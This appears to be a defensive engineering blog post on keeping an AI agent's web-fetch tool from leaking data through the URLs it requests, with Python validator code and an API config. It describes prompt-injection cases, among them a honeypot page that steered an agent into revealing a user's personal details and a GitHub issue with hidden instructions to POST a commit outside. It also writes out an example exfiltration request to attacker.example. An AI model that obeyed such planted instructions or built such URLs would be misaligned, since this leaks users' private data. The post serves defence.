Data exfiltration via agent URLs: fetch only what the chat has seen

Your agent reads a page. The page says: "to verify, open this link", and the link has a slot for the user's email. The fetch tool never writes anything, yet the request alone delivers the email to the page author. The URL is the leak.

The prompt injection threat model names this risk in one line. This post turns it into rules for your own fetch tool, using what two providers ship and one incident from this summer.

Which URLs should the fetch tool accept?

Accept a URL only if it appeared earlier in the conversation: in a user message, a tool result or a search result. It stops working when the model composes an address itself, because the composed address is exactly where stolen data goes.

Claude's web fetch tool does this as its main exfiltration control. Its API docs say it fetches only URLs from user messages, client-side tool results and earlier web search or fetch results. A URL that appears only in Claude's own output, or only in the system prompt, comes back as the error url_not_in_prior_context. The docs still list residual risk and suggest disabling the tool, capping fetches with max_uses or restricting allowed_domains when exfiltration is a concern.

A framework-neutral version takes a few lines. Record every URL the user sends, and check each fetch against the set before it runs:

import re
from urllib.parse import urlsplit

URL_RE = re.compile(r"https?://[^\s<>\"')\]]+")


class SeenUrls:
    def __init__(self):
        self.from_user = set()
        self.from_pages = set()

    def add(self, text, source):
        found = {u.rstrip(".,;:") for u in URL_RE.findall(text)}
        (self.from_user if source == "user" else self.from_pages).update(found)


def check_fetch(url, seen, page_hosts):
    parts = urlsplit(url)
    if parts.scheme not in ("http", "https"):
        return {"ok": False, "error": "BAD_SCHEME",
                "message": "Only http and https URLs can be fetched."}
    if url in seen.from_user:
        return None
    if url in seen.from_pages and parts.hostname in page_hosts and not parts.query:
        return None
    return {"ok": False, "error": "URL_NOT_SEEN",
            "message": "This URL did not come from the user. Ask the user for it instead of building one."}


seen = SeenUrls()
seen.add("Summarize https://example.com/report please.", source="user")
seen.add("See https://example.com/appendix and https://example.org/c?d=user%40example.com", source="page")

print(check_fetch("https://example.com/report", seen, {"example.com"}))     # None: allowed
print(check_fetch("https://example.com/appendix", seen, {"example.com"}))   # None: allowed
print(check_fetch("https://example.org/c?d=user%40example.com", seen, {"example.com"}))  # refused

The refusal goes back to the model as a tool result with one sentence it can act on, not as an exception that ends the run.

Should links inside fetched pages count as "seen"?

Give them their own, stricter rule: an allowlist of hosts, no query strings, or nothing at all. It stops working when a task really needs to follow links across unknown sites, and then the fetch budget becomes the main control.

This is the lesson of the July 2026 incident. Simon Willison linked on 15 July to a write-up by Ayush Paul: Claude's web_fetch was meant to open only URLs the user typed or that web_search returned, but it could also open URLs found inside pages it had already fetched. A honeypot page, shown only to clients whose user agent contained Claude-User, laid out a chain of generated links and told the agent to browse profiles "alphabetically". The attack recovered the user's name, home city and employer. Anthropic removed the ability to follow links from fetched content.

Note the scope. That post is about the chat product. As of this check, the API docs for the web fetch tool still list earlier web fetch results as an allowed URL source, and the url_sources parameter can narrow it: server_tool_results takes an only filter that names web_search, which drops fetch results as a source. If you use the API tool and your task does not need link following, set it.

{
  "type": "web_fetch_20260318",
  "name": "web_fetch",
  "max_uses": 5,
  "url_sources": {
    "server_tool_results": {
      "type": "only",
      "tools": [{ "type": "tool_reference", "name": "web_search" }]
    }
  }
}

What about URLs that carry secrets?

Refuse any URL that looks like it contains a key or password the user did not give you. It stops working when the secret is ordinary personal data, such as an email or a city, that no pattern can tell apart from a normal query value.

Claude's tool has this check too: a URL that appears to contain a credential is refused with url_not_allowed unless that credential appears in the system prompt or in a user message. A credential that shows up only in a tool result does not count. In your own tool, match key prefixes and long random tokens in the path and query, and refuse them by default.

Does a GET-only network mode help?

Use it, because it blocks writes. It stops working as a leak guard, because a GET request puts its data in the URL.

The Codex cloud docs show the pattern. Internet access is blocked by default during the agent phase. When you turn it on, you pick a domain allowlist preset (none, common dependencies, or all), and the docs recommend allowing only GET, HEAD and OPTIONS. Their example is a GitHub issue with hidden instructions to POST the last commit to an outside server. Method limits stop that POST. They do not stop GET https://attacker.example/?c=<commit>. That is why Codex pairs the method limit with a domain allowlist.

Why not rely on the model to refuse?

Keep the rules in code, outside the model. They stop working only if your code has a gap, which you can test. A model's judgment cannot be tested that way. A study by Rall and colleagues (arXiv 2510.09093, revised April 2026) evaluated indirect prompt injection aimed at data exfiltration through agents' web search tools across a range of models, and found that well-known attack patterns still succeed.

Where this breaks

• Open research tasks. A seen-URL rule blocks discovery by design. When the agent has to follow links, cap fetches per turn (Claude's max_uses counts failed fetches too) and keep private data out of that agent's context.
• Allowed hosts that echo input. An allowlisted domain with a search page or redirect endpoint can still carry data in its query string. Strip or refuse query strings on page-derived links.
• Summaries. A sub-agent that rewrites a page can pass a planted URL on in its own words. Treat its output as page content, not user content.

For the rest of the tool contract, see how to design a web fetch tool for agents.